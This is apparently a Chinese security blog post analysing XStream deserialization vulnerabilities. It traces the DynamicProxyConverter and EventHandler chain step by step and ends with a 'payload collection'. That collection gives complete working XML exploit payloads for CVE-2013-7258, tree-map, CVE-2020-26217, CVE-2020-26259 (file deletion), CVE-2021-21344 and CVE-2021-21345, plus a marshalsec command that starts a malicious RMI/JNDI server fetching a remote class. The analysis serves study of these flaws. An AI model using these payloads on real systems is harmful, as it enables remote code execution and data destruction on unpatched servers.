XStream介绍

XStream是一个简单的基于Java库,能够将Java对象和xml文档之间进行相互转换

反序列化原因

XStream实现了一套序列化和反序列化机制,核心是通过Converter转换器来将XML和对象之间进行相互的转换。

XStream反序列化漏洞的存在是因为XStream支持一个名为DynamicProxyConverter的转换器,该转换器可以将XML中dynamic-proxy标签内容转换成动态代理类对象,而当程序调用了dynamic-proxy标签内的interface标签指向的接口类声明的方法时,就会通过动态代理机制代理访问dynamic-proxy标签内handler标签指定的类方法;

利用这个机制,攻击者可以构造恶意的XML内容,即dynamic-proxy标签内的handler标签指向如EventHandler类这种可实现任意函数反射调用的恶意类、interface标签指向目标程序必然会调用的接口类方法;最后当攻击者从外部输入该恶意XML内容后即可触发反序列化漏洞、达到任意代码执行的目的。

相关类介绍

EventHandler类

EventHandler是一个实现了InvocationHandler接口的类,设计本意是为交互工具提供beans,建立从用户界面到应用程序逻辑的连接

image-20241104142648830

EventHandler的类中有target和action属性,在EventHandler.invoke()->EventHandler.invokeInternal()->MethodUtil.invoke()的函数调用链中,会将这两个属性作为类方法和参数继续反射调用

image-20241104143224758

image-20241104143340622

Converter转换器

XStream为Java常见的类型提供了Converter转换器。转换器注册中心是XStream组成的核心部分。

image-20241104143603604

我看y4师傅的文章中说转换器需要实现三个方法:

  • canConvert方法:告诉XStream对象,它能够转换的对象;
  • marshal方法:能够将对象转换为XML时候的具体操作;
  • unmarshal方法:能够将XML转换为对象时的具体操作;

但我在1.4.10版本中只需要实现两种方法即可

XStream的api文档:http://x-stream.github.io/converters.html

基本使用

使用一下看看转换出来的xml长什么样

package org.example.Attack;

public class Student {
private int age;
private String name;

public Student(){}
public Student(int age, String name) {
this.age = age;
this.name = name;
}

@Override
public String toString() {
return "Student{" +
"age=" + age +
", name='" + name + '\'' +
'}';
}

public int getAge() {
return age;
}

public void setAge(int age) {
this.age = age;
}

public String getName() {
return name;
}

public void setName(String name) {
this.name = name;
}
}
package org.example.Attack;

import com.thoughtworks.xstream.XStream;

public class Demo {
public static void main(String[] args) {
XStream xStream = new XStream();
Student clown = new Student(150, "clown");
String xml = xStream.toXML(clown);
System.out.println(xml);
}
}

结果

<org.example.Attack.Student>
<age>150</age>
<name>clown</name>
</org.example.Attack.Student>

利用链分析

这里就分析几个利用链,因为XStream的cve比较多,而且适用的版本也不一样,就跟着y4师傅分析其文章中的两个利用链

转化xml的demo

public class Test {
public static void main(String[] args) throws Exception{
FileInputStream fileInputStream = new FileInputStream("payload.txt");
XStream xStream = new XStream(new DomDriver());
xStream.fromXML(fileInputStream);
}
}

sorted-set

这是一个CVE-2013-7258远程代码执行漏洞

影响版本

1.4.5,1.4.6或1.4.10,我这里用1.4.10版本来实验

payload

<sorted-set>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>

image-20241104145857536

流程分析

我们可以从报错的调用栈中开始入手分析,能看出其大致的调用链流程

image-20241106085613877

其在AbstractTreeMarshallingStrategy#unmarshal调用了TreeUnmarshaller#start方法,从这里开始解析xml内容

image-20241106090828942

这里会调用HierarchicalStreams#readClassType()来获取到PoC XML中根标签的类类型

紧接着一路往下跟进

image-20241106091233168

其最终在com.thoughtworks.xstream.mapper.ClassAliasingMapper#realClass中找到了SortedSet类名,nameToType是一个hashMap类型变量

回到前面,这里拿到type之后就去调用convertAnother方法来对返回的type进行类型转化

image-20241106092001977

该方法内部就涉及到convertor转换器的使用,跟进去看看

image-20241106092354449

其中调用mapper.defaultImplementationOf()函数来寻找java.util.SortedSet类型的默认实现类型进行替换,这里转换为了java.util.TreeSet类型

然后就是调用converterLookup.lookupConverterForType方法来寻找TreeSet对应的类型转换器

image-20241106093118079

该方法里面就是获取迭代器对象,然后找到TreeSet对应的类型转化器就返回

返回之后就是调用convert进行类型转换,调用到AbstractReferenceUnmarshaller#convert方法

image-20241106094933449

会跳过前面的if-else判断,最后进到else里面,调用getCurrentReferenceKey()来获取当前的Reference键即标签名,接着将当前标签名压入parentStack栈中,key的结构如下

image-20241106095218106

然后调用其父类的convert方法,在里面push到FastStack的堆栈中

image-20241106103638037

然后就是调用TreeSetConvert的unmarshal方法,继续跟进到一个填充treeMap的TreeMapConverter#populateTreeMap方法

image-20241106105027698

这里先判断是否是第一个元素,是的话就调用putCurrentEntryIntoMap()函数,即将当前内容填充到Map中

image-20241106105249406

里面调用readItem()函数读取标签内的内容并缓存到target这个Map中,跟进去直到com.thoughtworks.xstream.mapper.CachingMapper#realClass

image-20241106105555385

这里就会去寻找dynamic-proxy所对应的类,一路跟进,其寻找的流程和前面的类似

image-20241106110001573

最后是找到了DynamicProxy这个类

然后回到readItem方法

image-20241106110155902

获取到type之后,就去调用convertAnother方法,和前面一样去找类型转换器

image-20241106110438659

之后也是差不多的流程,一直到下面这个关键的地方,com.thoughtworks.xstream.converters.extended.DynamicProxyConverter#unmarshal方法内部

image-20241106110843531

这里按标签内容生成对应接口的动态代理,此时这个DUMMY是一个空的代理实现

image-20241106113729142

继续往下执行handler = (InvocationHandler)context.convertAnother(proxy, handlerType);

image-20241106113843979

然后又是调用相关转换器最终得到EventHandler

image-20241106114015121

然后后面又是循环得读取标签获取对应得类和内容

回到前面获取handler的地方,再往下就是替换代理

image-20241106114840135

然后再回到前面的TreeMapConverter#populateTreeMap,这里会把结果把存到result

image-20241106115157218

这里的result就是TreeMap,然后里面就会触发我们的动态代理方法了

因为我们的xml配置代理的接口是Comparable,然后TreeMap在调用putAll方法的时候,会调用到put方法,而里面调用了compare方法

image-20241106121046532

最终就会走到EventHandler#invokeInternal方法里面,然后反射调用ProcessBuilder的start方法触发命令执行

image-20241106121145638

其他说明

在小于等于1.3.1版本,运行报错显示TreeMap没有包含comparator元素,即不支持PoC中两个子标签元素调用compareTo()进行比较,因此无法利用

1.4.1-1.4.4无法触发的原因

在TreeSetConverter.unmarshal()中,只有当sortedMapField和treeMap不为null时,才能进入populateTreeMap()

image-20241106122009384

而1.4.1-1.4.4版本中,sortedMapField默认为null

image-20241106122129571

1.4.7-1.4.9无法触发的原因

ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤

tree-map

影响版本

版本<=1.4.6或=1.4.10

payload

<tree-map>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>calc</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>

流程说明

这里其实就和sorted的过程是差不多的,就不做过多的分析了

他和sorted-set的区别就是在TreeMapConverter#unmarshal的地方

image-20241106141841502

可以看到没有TreeSetConverter那么多的限制

主要还是记一下payload以及使用版本,以及后面也是只收集一些CVE的payload

其他说明

在<=1.3.1版本

会报错显示TreeMap没有包含comparator元素,即不支持PoC中两个子标签元素调用compareTo()进行比较,因此无法利用,与sorted-set原因一样

1.4.7-1.4.9版本

ReflectionConverter.canConvert()函数中添加了对EventHandler类的过滤

payload收集

CVE-2020-26217远程代码执行漏洞

影响版本<=1.4.13

poc

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='java.io.SequenceInputStream'>
<e class='javax.swing.MultiUIDefaults$MultiUIDefaultsEnumerator'>
<iterator class='javax.imageio.spi.FilterIterator'>
<iter class='java.util.ArrayList$Itr'>
<cursor>0</cursor>
<lastRet>-1</lastRet>
<expectedModCount>1</expectedModCount>
<outer-class>
<java.lang.ProcessBuilder>
<command>
<string>calc</string>
</command>
</java.lang.ProcessBuilder>
</outer-class>
</iter>
<filter class='javax.imageio.ImageIO$ContainsFilter'>
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>start</name>
</filter>
<next/>
</iterator>
<type>KEYS</type>
</e>
<in class='java.io.ByteArrayInputStream'>
<buf></buf>
<pos>0</pos>
<mark>0</mark>
<count>0</count>
</in>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

image-20241106145534172

CVE-2020-26259任意文件删除漏洞

影响版本<1.4.14

poc

<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class='com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data'>
<dataHandler>
<dataSource class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource'>
<contentType>text/plain</contentType>
<is class='com.sun.xml.internal.ws.util.ReadAllStream$FileStream'>
<tempFile>test.txt</tempFile>
</is>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<string>test</string>
</entry>
</map>

创建一个txt在项目根目录

image-20241106145406896

然后成功删除

CVE-2021-21344远程代码执行漏洞

poc

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.rowset.JdbcRowSetImpl</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.rowset.JdbcRowSetImpl</class>
<name>getDatabaseMetaData</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.rowset.JdbcRowSetImpl' serialization='custom'>
<javax.sql.rowset.BaseRowSet>
<default>
<concurrency>1008</concurrency>
<escapeProcessing>true</escapeProcessing>
<fetchDir>1000</fetchDir>
<fetchSize>0</fetchSize>
<isolation>2</isolation>
<maxFieldSize>0</maxFieldSize>
<maxRows>0</maxRows>
<queryTimeout>0</queryTimeout>
<readOnly>true</readOnly>
<rowSetType>1004</rowSetType>
<showDeleted>false</showDeleted>
<dataSource>rmi://127.0.0.1:1099/exp</dataSource>
<params/>
</default>
</javax.sql.rowset.BaseRowSet>
<com.sun.rowset.JdbcRowSetImpl>
<default>
<iMatchColumns>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
<int>-1</int>
</iMatchColumns>
<strMatchColumns>
<string>foo</string>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
<null/>
</strMatchColumns>
</default>
</com.sun.rowset.JdbcRowSetImpl>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

这里打的是jndi注入

那我们就需要起一个恶意的rmi服务,这里用marshalsec来起服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8888/#exp

image-20241106152810804

web服务下有一个计算器的exp.class

image-20241106153040392

CVE-2021-21345远程代码执行漏洞

影响版本<=1.4.15

poc

<java.util.PriorityQueue serialization='custom'>
<unserializable-parents/>
<java.util.PriorityQueue>
<default>
<size>2</size>
<comparator class='sun.awt.datatransfer.DataTransferer$IndexOrderComparator'>
<indexMap class='com.sun.xml.internal.ws.client.ResponseContext'>
<packet>
<message class='com.sun.xml.internal.ws.encoding.xml.XMLMessage$XMLMultiPart'>
<dataSource class='com.sun.xml.internal.ws.message.JAXBAttachment'>
<bridge class='com.sun.xml.internal.ws.db.glassfish.BridgeWrapper'>
<bridge class='com.sun.xml.internal.bind.v2.runtime.BridgeImpl'>
<bi class='com.sun.xml.internal.bind.v2.runtime.ClassBeanInfoImpl'>
<jaxbType>com.sun.corba.se.impl.activation.ServerTableEntry</jaxbType>
<uriProperties/>
<attributeProperties/>
<inheritedAttWildcard class='com.sun.xml.internal.bind.v2.runtime.reflect.Accessor$GetterSetterReflection'>
<getter>
<class>com.sun.corba.se.impl.activation.ServerTableEntry</class>
<name>verify</name>
<parameter-types/>
</getter>
</inheritedAttWildcard>
</bi>
<tagName/>
<context>
<marshallerPool class='com.sun.xml.internal.bind.v2.runtime.JAXBContextImpl$1'>
<outer-class reference='../..'/>
</marshallerPool>
<nameList>
<nsUriCannotBeDefaulted>
<boolean>true</boolean>
</nsUriCannotBeDefaulted>
<namespaceURIs>
<string>1</string>
</namespaceURIs>
<localNames>
<string>UTF-8</string>
</localNames>
</nameList>
</context>
</bridge>
</bridge>
<jaxbObject class='com.sun.corba.se.impl.activation.ServerTableEntry'>
<activationCmd>calc</activationCmd>
</jaxbObject>
</dataSource>
</message>
<satellites/>
<invocationProperties/>
</packet>
</indexMap>
</comparator>
</default>
<int>3</int>
<string>javax.xml.ws.binding.attachments.inbound</string>
<string>javax.xml.ws.binding.attachments.inbound</string>
</java.util.PriorityQueue>
</java.util.PriorityQueue>

image-20241106153336587

参考

https://y4tacker.github.io/2022/02/10/year/2022/2/XStream%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96

https://xz.aliyun.com/t/11372?u_atoken=d255e03184aefd4a575a1a82fa1faa70&u_asig=1a0c399d17307034326662515e00b6&time__1311=n4%2Bxyie7wxg0GODlxGrzGWwxYqGKG8AlD0O%2BiD

后面版本的修复都是黑白名单的形式来修复,这篇文章总结的更加详细:https://tttang.com/archive/1699/